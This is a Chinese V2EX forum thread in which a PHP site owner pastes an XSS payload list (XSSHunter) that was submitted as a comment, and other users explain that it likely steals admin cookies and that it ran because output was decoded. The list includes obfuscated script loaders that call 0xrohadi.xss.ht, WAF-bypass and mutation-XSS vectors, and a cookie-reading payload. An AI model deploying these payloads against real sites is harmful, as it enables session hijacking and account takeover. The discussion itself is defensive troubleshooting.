评论被人恶意提交代码,一直 alert

2021-03-23 18:30:04 +08:00
 l890908
自写的 php 英文站,评论有人提交这个代码,经过 htmlspecialchars 保存在数据表,今天点开后台评论管理页面,就一直弹 1,弹域名这些,并且发送了一些请求到乱七八糟的域名,本地断网测试一番又没发现问题,请大家看看有什么问题?

XSSHUNTER PAYLOADS "><script src=https://0xrohadi.xss.ht></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://0xrohadi.xss.ht\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; autofocus> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vMHhyb2hhZGkueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61;> "><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;0xrohadi.xss.ht&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0xrohadi.xss.ht");a.send();</script> "><script>$.getScript("//0xrohadi.xss.ht")</script> <audio controls onprogress=alert(1)> <source src=xss.mp3 type=audio/mpeg> </audio> <iframe><textarea></iframe><img src="" onerror="alert`1`"> xsstest'">{{7*7}} %22%3E%3Cbase%20href=%22https://0xrohadi.xss.ht%22%3E <script%26gt Tanda kutip commbo %bf%27 "><svg><discard onbegin=alert(1)> Bypass WAF XSS path?p1=a%22><svg%20&p2=xxx&p3=a+onL0aD=confirm(document.domain)> <math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)"> <form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form> //ciao\"};prompt();/*var asd=[{\"foo\":\"bar "'>< + + <svg/onload=alert(document.domain)> %22%27%3E%3C%0D%0A+%0D%0A+%3Csvg/onload=alert%28document.domain%29%3E <noscript><p title="</noscript><img src=x onerror=alert(document.cookie)>"> curl -i -s -k -X 'GET' \ -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' \ 'https://app.box.com/' JSON XSS MODIFY HERE {"id":"abcabc\"><svg/onload=confirm(1)>abcabc","name":"file-name"} abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e ”/>&lt;script>alert(1)&lt;/script&gt”/> >< ); alert(document.domain); if (1 ')-prompt('xss <img src=\"http://attacker-ip/?id= <svg></p><style><g title="</style><img src onerror=alert(document.domain)>"> \" onerror = \"alert(123)\" \" ';[confirm][document.domain];// " onmouseover="alert(1)" '/alert[/xss/]/' */confirm(1)/*
11220 次点击
所在节点    信息安全
64 条回复
telung
2021-03-23 18:31:23 +08:00
技术不行啊,还是用开源的吧
qiayue
2021-03-23 18:33:31 +08:00
典型用途,偷你的管理员的 cookie,登录到你后台
imdong
2021-03-23 18:34:00 +08:00
htmlspecialchars 是为了防注入、防 XXS 的一种手段。

如果从数据库取出来到显示的时候,又 decode 了,那就破防了( xss )

取出来不用 decode 直接输出。
Jirajine
2021-03-23 18:35:31 +08:00
问题在于你自己写的网站防注入没做好,你看你把这堆东西发到 v 站就一点问题都没有。
l890908
2021-03-23 18:39:29 +08:00
@qiayue 所以这是偷到了 cookie 了吗
superrichman
2021-03-23 18:43:10 +08:00
人家已经知道你有 xss 了,肯定还有更多漏洞,准备迎接更多的攻击吧。
l890908
2021-03-23 18:44:39 +08:00
@telung 技术确实不行哈,😂😂
kingfalse
2021-03-23 18:45:19 +08:00
常规操作
l890908
2021-03-23 18:45:37 +08:00
@superrichman 这只是从评论框提交的而已,前端显示数据的时候确实 decode 了,结果中招了,这是单纯的偷 cookie 吗,还有有没有其他用途?
l890908
2021-03-23 18:46:00 +08:00
@kingfalse 求解,去掉显示数据的时候 decode 了,还有问题吗
miv
2021-03-23 18:46:10 +08:00
@l890908 技术不行框架来筹
l890908
2021-03-23 18:49:33 +08:00
@qiayue 请问这段注入除了偷 cookie 还有其他功能吗,我取消读取 cookie 了
l890908
2021-03-23 18:49:52 +08:00
@miv 是用的 TP 框架
BBCCBB
2021-03-23 18:58:15 +08:00
防一下 xss 攻击. 简单点的, 后端针对 &<>'" 再转义, 然后前端也针对 xss 做处理.
miv
2021-03-23 19:22:54 +08:00
@l890908 tp 挺不错啊!好几年前用过,很良心的软件。这种情况建议查下文档.
kaiki
2021-03-23 19:28:51 +08:00
哈哈哈哈哈笑死我了,你还真原样存进去原样输出啊,试试这个
```
$str = trim($str);
if(get_magic_quotes_gpc()) $str = stripslashes($str);
$str = preg_replace('/([\x1-\x8\xB-\xC\xE-\x1F\x7F-\x84\x86-\x9F\x{FDD0}-\x{FDDF}])/u', '', htmlspecialchars($str));
```
Rache1
2021-03-23 19:51:38 +08:00
存的时候不 encode,展示的时候 encode 就行了
WeKeey
2021-03-23 20:00:05 +08:00
sytnishizuiai
2021-03-23 20:51:05 +08:00
所有传进来的数据写个统一的过滤方法来过滤,否则想对外用的就用成熟的 blog 框架,练手的就无所谓了
jydeng
2021-03-23 21:04:18 +08:00
过滤一下就好

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/764367

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX